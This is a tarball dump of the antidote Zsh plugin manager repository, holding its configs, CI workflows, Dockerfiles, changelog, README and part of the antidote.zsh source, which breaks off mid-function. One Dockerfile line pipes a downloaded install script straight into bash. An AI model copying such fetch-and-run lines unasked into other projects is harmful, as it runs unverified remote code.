pax_global_header00006660000000000000000000000064151660034150014513gustar00rootroot0000000000000052 comment=4913257e0ae3fee2a77e7189e526fe55b6ff9536 mattmc3-antidote-4913257/000077500000000000000000000000001516600341500150705ustar00rootroot00000000000000mattmc3-antidote-4913257/.bumpversion.cfg000066400000000000000000000003631516600341500202020ustar00rootroot00000000000000[bumpversion] current_version = 2.1.0 parse = v?(?P\d+)\.(?P\d+)\.(?P\d+) serialize = {major}.{minor}.{revision} [bumpversion:file:antidote.zsh] [bumpversion:file:tests/test_antidote.md] [bumpversion:file:README.md] mattmc3-antidote-4913257/.editorconfig000066400000000000000000000004461516600341500175510ustar00rootroot00000000000000root = true [*] charset = utf-8 end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true indent_style = space indent_size = 2 [*.crlf.*] end_of_line = crlf [*.md] trim_trailing_whitespace = false [justfile] indent_size = 4 [makefile] indent_style = tab indent_size = 4 mattmc3-antidote-4913257/.github/000077500000000000000000000000001516600341500164305ustar00rootroot00000000000000mattmc3-antidote-4913257/.github/CODE_OF_CONDUCT.md000066400000000000000000000064531516600341500212370ustar00rootroot00000000000000 # Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to make participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies within all project spaces, and it also applies when an individual is representing the project or its community in public spaces. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at getantidote@gmail.com. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see https://www.contributor-covenant.org/faq mattmc3-antidote-4913257/.github/ISSUE_TEMPLATE/000077500000000000000000000000001516600341500206135ustar00rootroot00000000000000mattmc3-antidote-4913257/.github/ISSUE_TEMPLATE/bug_report.yml000066400000000000000000000006211516600341500235050ustar00rootroot00000000000000name: Bug Report description: Report a bug with antidote labels: [bug] body: - type: markdown attributes: value: | Thanks for taking the time to file an issue! Kindly include the output of `antidote --diagnostics` with your report to help troubleshoot. - type: textarea id: description attributes: label: Description validations: required: true mattmc3-antidote-4913257/.github/ISSUE_TEMPLATE/feature_request.yml000066400000000000000000000004601516600341500245410ustar00rootroot00000000000000name: Feature Request description: Suggest a new feature or improvement labels: [enhancement] body: - type: markdown attributes: value: | Thanks for the suggestion! - type: textarea id: description attributes: label: Description validations: required: true mattmc3-antidote-4913257/.github/workflows/000077500000000000000000000000001516600341500204655ustar00rootroot00000000000000mattmc3-antidote-4913257/.github/workflows/test-zsh-5.4.2.yml000066400000000000000000000013341516600341500234360ustar00rootroot00000000000000name: test-zsh-5.4.2 on: push: pull_request: workflow_dispatch: jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Build pinned Zsh 5.4.2 test image run: docker build -f Dockerfile.542 -t antidote-zsh542-ci . - name: Verify toolchain versions run: | docker run --rm antidote-zsh542-ci /usr/local/bin/zsh -lc 'git --version' docker run --rm antidote-zsh542-ci /usr/local/bin/zsh -lc 'zsh --version' - name: Run tests in container run: | docker run --rm \ -v "$GITHUB_WORKSPACE:/workspace" \ antidote-zsh542-ci \ /usr/local/bin/zsh -lc 'cd /workspace && just test-all local' mattmc3-antidote-4913257/.github/workflows/test.yml000066400000000000000000000010521516600341500221650ustar00rootroot00000000000000name: test on: push: pull_request: workflow_dispatch: jobs: test: strategy: matrix: os: [macos-latest, ubuntu-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v4 - uses: actions/checkout@v4 with: repository: "aureliojargas/clitest" path: bin/clitest - run: sudo apt install zsh if: ${{ runner.os == 'Linux' }} - uses: extractions/setup-just@v2 - run: PATH=$GITHUB_WORKSPACE/bin/clitest:$PATH just test-all local shell: zsh {0} mattmc3-antidote-4913257/.gitignore000066400000000000000000000003331516600341500170570ustar00rootroot00000000000000~* .*/ !.github/ .cache/ .plugins/ .tmp/ .todo/ *.old *.zwc *.zwc.old **/realzdotdir/zsh_plugins.zsh bar.zsh foo*.* sandbox/ !tests/**/foo/ !tests/**/.*/ !tests/**/.* tests/fixtures/* !tests/fixtures/.gitkeep !footer.* mattmc3-antidote-4913257/CHANGELOG.md000066400000000000000000000173171516600341500167120ustar00rootroot00000000000000# Changelog Notable changes to this project will be documented in this file. ## [v2.1.0] - Add `using:` directive for loading subplugins from monorepos and local paths (eg: oh-my-zsh, prezto). - Improve error detection: invalid bundles and conflicting pin/branch annotations are now caught during parsing and reported with line numbers. Non-fatal errors skip the offending bundle but allow the rest to load. Fatal conflicts bail immediately. - Ensure all non-script output from `antidote bundle` now begins with `#`, making redirected output safer to source. Exit code check is preferred for verifying bundle success. - Add `zstyle ':antidote:home' dir ...` as an alternative to `$ANTIDOTE_HOME` to configure the antidote home directory for those who prefer to only use zstyles. If both are used, `$ANTIDOTE_HOME` wins. - Refactor bundle parser to use an associative matrix, improving performance and enabling richer per-bundle metadata. ## [v2.0.12] - Add syntax definition for antidote bundle files (`.zsh_plugins.txt`). See [misc/zsh_plugins.sublime-syntax](https://raw.githubusercontent.com/mattmc3/antidote/main/misc/zsh_plugins.sublime-syntax). - Use bat for fzf snapshot preview when available, using our new syntax highlighter, with fallback to basic coloring if bat is unavailable or syntax is not installed - Add `zstyle ':antidote:bat' opts ...` to allow user to configure their preferred bat options - Fix `antidote update` to fail faster on git errors - Add tests to ensure git autostashing is working ## [v2.0.11] - Feature [#258](https://github.com/mattmc3/antidote/issues/258): fzf improvements ## [v2.0.10] - Add `antidote snapshot home` subcommand to print the snapshot directory path - Fix `antidote --version` printing a git error when installed outside a git repo (eg: Homebrew) ([#259](https://github.com/mattmc3/antidote/issues/259)) ## [v2.0.9] - Remove stray `setopt warn_create_global warn_nested_var` from testing ## [v2.0.8] - Refactor for better performance ## [v2.0.7] - Fix for [#255](https://github.com/mattmc3/antidote/issues/255): `antidote update` displayed the old version instead of the new version after self-update ## [v2.0.6] - Fix `antidote snapshot` fzf picker regression in [#253](https://github.com/mattmc3/antidote/issues/253) - Add `zstyle ':antidote:fzf' cmd ...` to configure which picker command is used for snapshot selection. Supports custom commands and paths to alternative `fzf` locations - Allow disabling picker-based snapshot selection by setting `zstyle ':antidote:fzf' cmd ''` ## [v2.0.5] - Fix `antidote list` empty-state detection to reliably warn when no bundles are found - More fixes for [#247](https://github.com/mattmc3/antidote/issues/247) - Fix bundle discovery to follow a symlinked `ANTIDOTE_HOME` path (`find -H`) - Fix `antidote purge --all` for symlinked `ANTIDOTE_HOME` by clearing symlink contents before deleting the symlink path - Add regression coverage for symlinked `ANTIDOTE_HOME` across `list`, `path`, `update`, `snapshot`, and `purge` - Fix `antidote snapshot` commands launching fzf in non-interactive shells - Fix test fixtures for git 2.17 compatibility - Bump `actions/checkout` to v4 ## [v2.0.4] - Add `--diagnostics` flag to show antidote and system info for troubleshooting - Add GitHub issue templates for bug reports and feature requests - Fix `antidote list` silently exiting with error when no bundles are cloned ([#247](https://github.com/mattmc3/antidote/issues/247)) - Fix `antidote update` comparing short SHAs which could produce incorrect output (updates worked, but the output was potentially confusing for large repos) - Refactor `antidote-dispatch` into separate autoloaded functions (`antidote-help`, `antidote-load`, `antidote-update`) to be more maintainable - Clean up and alphabetize internal git helper functions ## [v2.0.3] - Reuse existing clones when `path-style` changes, avoiding duplicate clones ([#245](https://github.com/mattmc3/antidote/issues/245)) - Remove legacy duplicate clones during bundling when multiple path-style directories exist - Fix `find_bundles` failing when cloned bundles don't match the current `path-style` - Fix `antidote bundle` emitting output before ensuring a successful clone operation - `antidote list` now shows path and URL by default, and now has a `-u/--url` flag ## [v2.0.2] - Minor fix for bump2version covering more files in the test suite ## [v2.0.1] - Fix for gist cloning [#243](https://github.com/mattmc3/antidote/issues/243) ## [v2.0.0] ### Added - New `antidote snapshot` command lets you save, restore, and list point-in-time snapshots of your plugin state - `antidote snapshot save` writes a snapshot file capturing the exact commit SHA of every cloned bundle - `antidote snapshot restore` restores your bundles to a previous state (uses the most recent snapshot if no file is given) - `antidote snapshot remove` removes snapshot files (interactive multi-select with `fzf` if available) - `antidote snapshot list` shows all available snapshots - Snapshots are saved automatically during `antidote update` (static mode only) - To disable automatic snapshotting during updates, set this zstyle in your config (eg: ~/.config/antidote/config.zsh): ```zsh zstyle ':antidote:snapshot:automatic' enabled no ``` - If `fzf` is installed, `antidote snapshot restore` gives you an interactive picker with a preview of each snapshot - Snapshot storage location and rolling history limit are configurable via `zstyle` - New `pin:` annotation lets you lock a bundle to a specific commit SHA (full 40-character SHA required) - Example: `zsh-users/zsh-autosuggestions pin:85919cd1ffa7d2d5412f6d3fe437ebdbeeec4fc5` - Pinned bundles are skipped during `antidote update` - `antidote update --dry-run` / `-n`: check for available updates without touching anything - `antidote list` now shows URLs by default - `antidote list --long` / `-l`: show verbose key-value info per bundle (repo, path, URL, SHA, pin status) - `antidote list --dirs` / `-d`: show bundle directory paths - `antidote list --jsonl` / `-j`: machine-readable JSONL output (includes pin status when pinned) - antidote can now read an optional config `~/.config/antidote/config.zsh` on startup (respects `$XDG_CONFIG_HOME`) - A template config file is included showing all available zstyles (see `templates/config.zsh`) - New `path-style` zstyle controls how bundle directories are named on disk: - `full` (default): `$ANTIDOTE_HOME/github.com/owner/repo` - `short`: `$ANTIDOTE_HOME/owner/repo` - `escaped`: `$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-owner-SLASH-repo` (legacy antibody style) ```zsh zstyle ':antidote:bundle' path-style short ``` - New git zstyles let you clone from non-GitHub hosts or default to SSH for clones: ```zsh zstyle ':antidote:git' site gitlab.com zstyle ':antidote:git' protocol ssh ``` - Interactive selection uses `fzf` when available - Color output now respects `NO_COLOR`, `CLICOLOR_FORCE`, and terminal capabilities - Dockerfiles included for reproducible test environments - Tons of new unit tests to verify correctness and provide stability ### Changed - The codebase has been consolidated from many small functions into a single self-contained `antidote.zsh` - Internal dispatching has been rewritten and streamlined - `antidote list` flags have been redesigned and many removed and replaced by `--long`, `--dirs`, and `--jsonl` ### Removed - Antibody compatibility mode has been removed - `antidote list` old flags (`--short`, `--short-name`, `--url`, `--sha`, `--short-sha`, `--pinned`) have been removed in favor of `--long` ### Notes - Pin any repos you want to keep on a certain release. They will be skipped when running `antidote update`. Use `antidote list --long` to see current SHAs, then add `pin:` annotations to your .zsh_plugins.txt. mattmc3-antidote-4913257/Dockerfile000066400000000000000000000005011516600341500170560ustar00rootroot00000000000000FROM alpine:latest RUN apk add --no-cache \ zsh \ bash \ git \ just \ perl \ mandoc \ less \ jq # Install clitest RUN git clone --depth=1 https://github.com/aureliojargas/clitest /opt/clitest ENV PATH="/opt/clitest:$PATH" ENV ZSH_BINARY="/bin/zsh" WORKDIR /workspace CMD ["/bin/zsh"] mattmc3-antidote-4913257/Dockerfile.542000066400000000000000000000032501516600341500173730ustar00rootroot00000000000000FROM ubuntu:22.04 ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && apt-get install -y \ wget \ build-essential \ libncursesw5-dev \ libcurl4-openssl-dev \ libssl-dev \ libexpat1-dev \ zlib1g-dev \ gettext \ automake \ man-db \ jq \ && rm -rf /var/lib/apt/lists/* # Build and install Git 2.17.0 from source (period-appropriate for Zsh 5.4.2, Jan 2018) RUN wget -q https://mirrors.edge.kernel.org/pub/software/scm/git/git-2.17.0.tar.xz \ && tar -xf git-2.17.0.tar.xz \ && cd git-2.17.0 \ && make prefix=/usr -j$(nproc) \ && make prefix=/usr install \ && cd .. \ && rm -rf git-2.17.0 git-2.17.0.tar.xz # Install just RUN wget -qO- https://just.systems/install.sh | bash -s -- --to /usr/local/bin # Ubuntu minimal containers stub out /usr/bin/man; unminimize restores the real man RUN yes | unminimize 2>/dev/null || true # Build and install Zsh 5.4.2 from source # config.guess/config.sub in the 5.4.2 tarball are from 2009 and don't know # about aarch64, so we update them from automake before running configure. RUN wget -q https://sourceforge.net/projects/zsh/files/zsh/5.4.2/zsh-5.4.2.tar.xz \ && tar -xf zsh-5.4.2.tar.xz \ && cp /usr/share/automake-*/config.guess zsh-5.4.2/ \ && cp /usr/share/automake-*/config.sub zsh-5.4.2/ \ && cd zsh-5.4.2 \ && ./configure --with-tcsetpgrp \ && make -j$(nproc) \ && make install \ && cd .. \ && rm -rf zsh-5.4.2 zsh-5.4.2.tar.xz # Install clitest RUN git clone --depth=1 https://github.com/aureliojargas/clitest /opt/clitest ENV PATH="/opt/clitest:$PATH" ENV ZSH_BINARY="/usr/local/bin/zsh" WORKDIR /workspace CMD ["/usr/local/bin/zsh"] mattmc3-antidote-4913257/LICENSE000066400000000000000000000020631516600341500160760ustar00rootroot00000000000000MIT License Copyright (c) 2021-2026 Matt McElheny Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. mattmc3-antidote-4913257/README.md000066400000000000000000000106161516600341500163530ustar00rootroot00000000000000# antidote [![MIT License](https://img.shields.io/badge/license-MIT-007EC7.svg)](/LICENSE) ![version](https://img.shields.io/badge/version-v2.1.0-df5e88) GetAntidote Logo > [Get the cure][antidote] [Antidote][antidote] is a feature-complete Zsh implementation of the legacy [Antibody][antibody] plugin manager, which in turn was derived from [Antigen][antigen]. Antidote not only aims to provide continuity for those legacy plugin managers, but also to delight new users with high-performance, easy-to-use Zsh plugin management. ## Usage Basic usage should look really familiar to you if you have used Antibody or Antigen. Bundles (aka: Zsh plugins) are stored in a file typically called `.zsh_plugins.txt`. ```zsh # .zsh_plugins.txt rupa/z # some bash plugins work too sindresorhus/pure # enhance your prompt # you can even use Oh My Zsh plugins getantidote/use-omz ohmyzsh/ohmyzsh path:lib ohmyzsh/ohmyzsh path:plugins/extract # add fish-like features zsh-users/zsh-syntax-highlighting zsh-users/zsh-autosuggestions zsh-users/zsh-history-substring-search ``` A typical `.zshrc` might then look like: ```zsh # .zshrc source /path-to-antidote/antidote.zsh antidote load ${ZDOTDIR:-$HOME}/.zsh_plugins.txt ``` The full documentation can be found at [https://antidote.sh][antidote]. ## Help getting started If you want to see a full-featured example Zsh configuration using antidote, you can have a look at this [example zdotdir](https://github.com/getantidote/zdotdir) project. Feel free to incorporate code or plugins from it into your own dotfiles, or you can fork it to get started building your own Zsh config from scratch driven by antidote. ## Installation ### Install with git You can install the latest release of antidote by cloning it with `git`: ```zsh # first, run this from an interactive zsh terminal session: git clone --depth=1 https://github.com/mattmc3/antidote.git ${ZDOTDIR:-$HOME}/.antidote ``` ### Install with a package manager antidote may also be available in your system's package manager: - [macOS homebrew](https://formulae.brew.sh/formula/antidote): `brew install antidote` - [Arch AUR](https://aur.archlinux.org/packages/zsh-antidote): `yay -S zsh-antidote` - [Nix Home-Manager](https://mipmip.github.io/home-manager-option-search/?query=antidote) : `programs.zsh.antidote.enable = true;` ## Performance antidote supports ultra-high performance plugin loads using a static plugin file. It also allows deferred loading for [plugins that support it](https://github.com/romkatv/zsh-defer#caveats). ```zsh # .zsh_plugins.txt # some plugins support deferred loading zdharma-continuum/fast-syntax-highlighting kind:defer zsh-users/zsh-autosuggestions kind:defer zsh-users/zsh-history-substring-search kind:defer ``` ```zsh # .zshrc # Lazy-load antidote and generate the static load file only when needed zsh_plugins=${ZDOTDIR:-$HOME}/.zsh_plugins if [[ ! ${zsh_plugins}.zsh -nt ${zsh_plugins}.txt ]]; then ( source /path-to-antidote/antidote.zsh antidote bundle <${zsh_plugins}.txt >${zsh_plugins}.zsh ) fi source ${zsh_plugins}.zsh ``` ## bat syntax highlighting If you use [bat](https://github.com/sharkdp/bat), antidote includes a syntax definition for `.zsh_plugins.txt` files. To install it: ```zsh bat_syntax_dir="$(bat --config-dir)/syntaxes" mkdir -p "$bat_syntax_dir" curl -fsSL https://raw.githubusercontent.com/mattmc3/antidote/main/misc/zsh_plugins.sublime-syntax \ -o "$bat_syntax_dir/zsh_plugins.sublime-syntax" bat cache --build ``` ## Benchmarks You can see how antidote compares with other setups [here][benchmarks]. ## Plugin authors If you authored a Zsh plugin, the recommended snippet for antidote is: ```zsh antidote install gh_user/gh_repo ``` If your plugin is hosted somewhere other than GitHub, you can use this: ```zsh antidote install https://bitbucket.org/bb_user/bb_repo ``` ## Credits A big thank you to [Carlos](https://github.com/caarlos0) for all his work on [antibody] over the years. [antigen]: https://github.com/zsh-users/antigen [antibody]: https://github.com/getantibody/antibody [antidote]: https://antidote.sh [benchmarks]: https://github.com/romkatv/zsh-bench/blob/master/doc/linux-desktop.md [zsh]: https://www.zsh.org mattmc3-antidote-4913257/antidote000066400000000000000000000005331516600341500166230ustar00rootroot00000000000000#!/bin/zsh ### antidote - the cure to slow zsh plugin management # # https://antidote.sh # run `antidote -h` for usage # # Note: this gets overridden if using `antidote init`. # function antidote { 0=${(%):-%x} if ! typeset -f antidote-dispatch > /dev/null; then source ${0:A:h}/antidote.zsh fi antidote-dispatch "$@" } antidote "$@" mattmc3-antidote-4913257/antidote.zsh000066400000000000000000001701031516600341500174270ustar00rootroot00000000000000#!/usr/bin/env zsh # Ensure we're in Zsh and not bash if [ -n "$BASH_VERSION" ]; then echo >&2 "antidote: This script requires Zsh, not Bash" return 1 2>/dev/null || exit 1 elif [ -z "$ZSH_VERSION" ]; then shellname="$(ps -p $$ -oargs= | awk 'NR=1{print $1}')" echo >&2 "antidote: This script requires Zsh, not '$shellname'." return 1 2>/dev/null || exit 1 fi # When sourced, behave differently 0=${(%):-%N} if [[ ":${ZSH_EVAL_CONTEXT}:" == *:file:* ]]; then typeset -f antidote-setup &>/dev/null && unfunction antidote-setup builtin autoload -Uz ${0:A:h}/functions/antidote-setup antidote-setup return 0 fi # Initial vars builtin autoload -Uz is-at-least ZPARSEOPTS=( -D -M ) is-at-least 5.8 && ZPARSEOPTS+=( -F ) typeset -gr TAB=$'\t' typeset -gr NL=$'\n' typeset -g REPLY typeset -ga reply=() # Zsh options needed by antidote setopt extended_glob # warn_create_global # warn_nested_var # Internal profiling support [[ -n "$ANTIDOTE_PROFILE" ]] && zmodload zsh/zprof zmodload zsh/datetime # Load config: source config file then apply any serialized zstyles () { local cfg=${ANTIDOTE_CONFIG:-${XDG_CONFIG_HOME:-$HOME/.config}/antidote/config.zsh} [[ -f "$cfg" ]] && source "$cfg" } [[ -n "$ANTIDOTE_ZSTYLES" ]] && eval "$ANTIDOTE_ZSTYLES" # Helpers die() { warn "$@"; exit "${ERR:-1}"; } say() { printf '%s\n' "$@"; } warn() { say "$@" >&2; } # git helpers. git() { local result err result="$(command "$ANTIDOTE_GIT_CMD" "$@" 2>&1)" err=$? if [[ "$err" -ne 0 ]]; then warn "antidote: unexpected git error on command 'git $*'." if [[ -n "$result" ]]; then warn "antidote: error details:" warn "$result" fi return $err fi if [[ -n "$result" ]]; then say "$result" fi } git_checkout_detach() { git -C "$1" checkout --quiet --detach "$2"; } git_clone() { local d=$1; shift; git clone --depth 1 --no-local --quiet --recurse-submodules --shallow-submodules "$@" "$d"; } git_config_get() { git -C "$1" config --get "$2" 2>/dev/null; } git_config_set() { git -C "$1" config "$2" "$3"; } git_config_unset() { git -C "$1" config --unset "$2" 2>/dev/null; } git_fetch() { local d=$1; shift; git -C "$d" fetch --quiet "$@"; } git_is_shallow() { [[ -f "$1/.git/shallow" ]] || [[ "$(git -C "$1" rev-parse --is-shallow-repository 2>/dev/null)" == "true" ]] } git_log_oneline() { git -C "$1" --no-pager log --abbrev=7 --oneline --ancestry-path --first-parent "${2}^..${3}" 2>/dev/null; } git_sha() { git -C "${@[-1]}" rev-parse ${@[1,-2]} HEAD; } git_submodule_sync() { git -C "$1" submodule --quiet sync --recursive; } git_submodule_update() { git -C "$1" submodule --quiet update --init --recursive --depth 1; } git_url() { git -C "$1" config remote.origin.url; } git_checkout_pin() { local dir="$1" sha="$2" bname="$3" if ! git_checkout_detach "$dir" "$sha" 2>/dev/null; then if ! git_fetch "$dir" --depth 1 origin "$sha" 2>/dev/null \ || ! git_checkout_detach "$dir" "$sha"; then warn "antidote: error: pin commit '$sha' not found for $bname" return 1 fi fi } git_pull() { local -a autostash_flag=(--autostash) [[ "$ANTIDOTE_GIT_AUTOSTASH" != true ]] && autostash_flag=() git -C "$1" pull --quiet --ff --rebase $autostash_flag } # Find all cloned bundles under ANTIDOTE_HOME. find_bundles() { command find -H "$ANTIDOTE_HOME" -type d -name .git -prune -print 2>/dev/null | \ sed 's|/.git$||' | sort } bulk_clone() { local i bundle zsh_defer=0 local -a row local -aU script if (( !${_parsed_bundles[__count__]:-0} )); then bundle_parser fi for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do bundle=${_parsed_bundles[$i,__bundle__]} bundle_type "$bundle" [[ $REPLY == (repo|url|ssh_url) ]] || continue if [[ "${_parsed_bundles[$i,kind]}" == defer && $zsh_defer == 0 ]]; then zsh_defer=1 row=(__bundle__ "${(q)ANTIDOTE_DEFER_BUNDLE}" kind clone) script+=("zsh_script ${(j: :)row} &") fi row=(__bundle__ "${(q)bundle}" kind clone) [[ -n "${_parsed_bundles[$i,branch]}" ]] && row+=(branch "${(q)_parsed_bundles[$i,branch]}") [[ -n "${_parsed_bundles[$i,pin]}" ]] && row+=(pin "${(q)_parsed_bundles[$i,pin]}") script+=("zsh_script ${(j: :)row} &") done if [[ ${#script} -gt 0 ]]; then printf '%s\n' ${(o)script[@]} printf 'wait\n' fi } ### Parse bundle input into a matrix. # # Reads bundle text from stdin and populates the _parsed_bundles[i,key] global. # Detects invalid bundles and conflicting pin/branch annotations inline. # Sets matrix-level flags: __count__, __has_pins__, __has_errors__, __has_critical__. # bundle_parser() { local line lineno arg partno key bname btype bnameval ctx_path ctx_type input bdir bval bprev local -a args lines local -A bundle seen_bundles seen_bundle_vals local -i n=0 typeset -gA _parsed_bundles=() typeset -gA _antidote_using_context # Read all input and normalize line endings (\r\n, \r, \n -> \n) input=$(cat) input=${input//$'\r\n'/$'\n'} input=${input//$'\r'/$'\n'} lines=("${(@f)input}") lineno=1 for line in "${lines[@]}"; do # (z): use shell wordsplitting rules # (Q): remove one level of quotes args=(${(Q)${(z)line}}) partno=0 for arg in $args; do [[ $arg == \#* ]] && break (( partno++ )) if (( partno == 1 )); then bundle=() bundle[__lineno__]=$lineno bundle[__bundle__]=$arg else if [[ "$arg" == *:* ]]; then key=${arg%%:*} bundle[$key]=${arg#*:} else bundle[__error__]="error: Expecting 'key:value' form for annotation '$arg'." fi fi done if [[ $partno -gt 0 ]]; then (( n++ )) bname="$bundle[__bundle__]" # Handle using: directive - set the active using context. # Repo using: emits a kind:clone entry for the repo. # Path using: sets context only, no bundle entry emitted. if [[ "$bname" == using:* ]]; then _antidote_using_context=() _antidote_using_context[bundle]=${bname#using:} bundle_type "${_antidote_using_context[bundle]}"; _antidote_using_context[__type__]=$REPLY if [[ "${_antidote_using_context[__type__]}" == ('?'|empty) ]]; then bundle[__error__]="invalid using: target '${_antidote_using_context[bundle]}'" bundle[__severity__]=error for key in ${(k)bundle}; do _parsed_bundles[$n,$key]=$bundle[$key] done _parsed_bundles[__has_errors__]=1 (( lineno++ )) continue fi for key in ${(k)bundle}; do [[ $key == __* ]] && continue _antidote_using_context[$key]=$bundle[$key] done if [[ "${_antidote_using_context[__type__]}" == (repo|url|ssh_url) ]]; then bundle[__bundle__]=${_antidote_using_context[bundle]} bundle[kind]=clone unset "bundle[path]" bname=$bundle[__bundle__] else (( n-- )) (( lineno++ )) continue fi fi # Expand word bundles using the active use context. bundle_type "$bname"; btype=$REPLY if [[ "$btype" == using_subplugin && -n "${_antidote_using_context[bundle]}" ]]; then ctx_path=${_antidote_using_context[path]:-} ctx_type=${_antidote_using_context[__type__]:-} for key in ${(k)_antidote_using_context}; do [[ $key == (bundle|path|__type__) ]] && continue [[ -n "${bundle[$key]}" ]] || bundle[$key]=${_antidote_using_context[$key]} done [[ -n "${bundle[kind]}" ]] || bundle[kind]=zsh if [[ "$ctx_type" == (path|dir|file) ]]; then # Path using: construct the full path as the bundle bundle[__bundle__]=${_antidote_using_context[bundle]}${ctx_path:+/$ctx_path}/$bname bname=$bundle[__bundle__] bundle_type "$bname"; btype=$REPLY else # Repo using: keep repo as bundle, set path annotation [[ -n "${bundle[path]}" ]] || bundle[path]=${ctx_path:+$ctx_path/}$bname bundle[__bundle__]=${_antidote_using_context[bundle]} bname=$bundle[__bundle__] fi fi # Detect invalid bundles: unresolvable type or bare word with no active using: context. if [[ "$btype" == '?' || ( "$btype" == using_subplugin && -z "${_antidote_using_context[bundle]}" ) ]]; then if [[ -z "${bundle[__error__]}" ]]; then bundle[__error__]="invalid bundle '${bundle[__bundle__]}'" [[ "$btype" == using_subplugin ]] && bundle[__error__]+=". Are you missing a 'using:' directive?" fi bundle[__severity__]=error bundle[__type__]="$btype" for key in ${(k)bundle}; do _parsed_bundles[$n,$key]=$bundle[$key] done _parsed_bundles[__has_errors__]=1 (( lineno++ )) continue fi # Compute metadata keys for repo and URL bundles bundle[__type__]="$btype" if [[ "$btype" == (repo|url|ssh_url) || ( "$btype" == using_subplugin && -n "${_antidote_using_context[bundle]}" && "${_antidote_using_context[__type__]}" == (repo|url|ssh_url) ) ]]; then tourl "$bname"; bundle[__url__]=$REPLY short_repo_name "$bname"; bundle[__short__]=$REPLY bundle_dir "$bname"; bundle[__dir__]=$REPLY bundle[__name__]=$bundle[__short__] else bnameval=${bname/#\~\//\$HOME/} bundle[__name__]=${bnameval/#$HOME/\$HOME} fi for key in ${(k)bundle}; do _parsed_bundles[$n,$key]=$bundle[$key] done [[ -n "${bundle[pin]}" ]] && _parsed_bundles[__has_pins__]=1 if [[ -n "${bundle[__error__]}" ]]; then _parsed_bundles[__has_errors__]=1 [[ -z "${_parsed_bundles[$n,__severity__]}" ]] && _parsed_bundles[$n,__severity__]=error fi # Detect pin/branch conflicts inline for non-subplugin bundles. if [[ -n "${bundle[__dir__]}" && "$btype" != using_subplugin && -z "${bundle[__error__]}" ]]; then bdir="${bundle[__dir__]}" for key in pin branch; do bval="${bundle[$key]}" bprev="${seen_bundle_vals[${bdir}:${key}]}" if [[ -n "${seen_bundles[$bdir]}" ]]; then if [[ -n "$bval" && -z "$bprev" ]] || [[ -z "$bval" && -n "$bprev" ]]; then _parsed_bundles[$n,__error__]="inconsistent $key for '${bundle[__bundle__]}': some entries have ${key}:${bval:-$bprev}, others do not" _parsed_bundles[$n,__severity__]="critical" _parsed_bundles[__has_critical__]=1 _parsed_bundles[__has_errors__]=1 elif [[ -n "$bval" && "$bprev" != "$bval" ]]; then _parsed_bundles[$n,__error__]="conflicting $key for '${bundle[__bundle__]}': ${key}:${bval} vs ${key}:${bprev}" _parsed_bundles[$n,__severity__]="critical" _parsed_bundles[__has_critical__]=1 _parsed_bundles[__has_errors__]=1 fi fi [[ -n "$bval" ]] && seen_bundle_vals[${bdir}:${key}]="$bval" done seen_bundles[$bdir]=1 fi fi (( lineno++ )) done _parsed_bundles[__count__]=$n } ### Serialize the parsed bundles matrix for use in subshell/eval contexts. bundle_parser_serialize() { bundle_parser typeset -p _parsed_bundles } version() { local ver="$ANTIDOTE_VERSION" local gitsha if [[ "$ANTIDOTE_VERSION_SHOW_SHA" == true ]] && [[ -e "${ANTIDOTE_ZSH:h}/.git" ]]; then gitsha=$(git_sha --short "${ANTIDOTE_ZSH:h}") [[ -z "$gitsha" ]] || ver="$ver ($gitsha)" fi say "antidote version $ver" } diagnostics() { local antidote_dir="${ANTIDOTE_ZSH:A:h}" local antidote_ver="$ANTIDOTE_VERSION" local antidote_sha num_bundles num_snapshots zstyle_output line configfile bundlefile 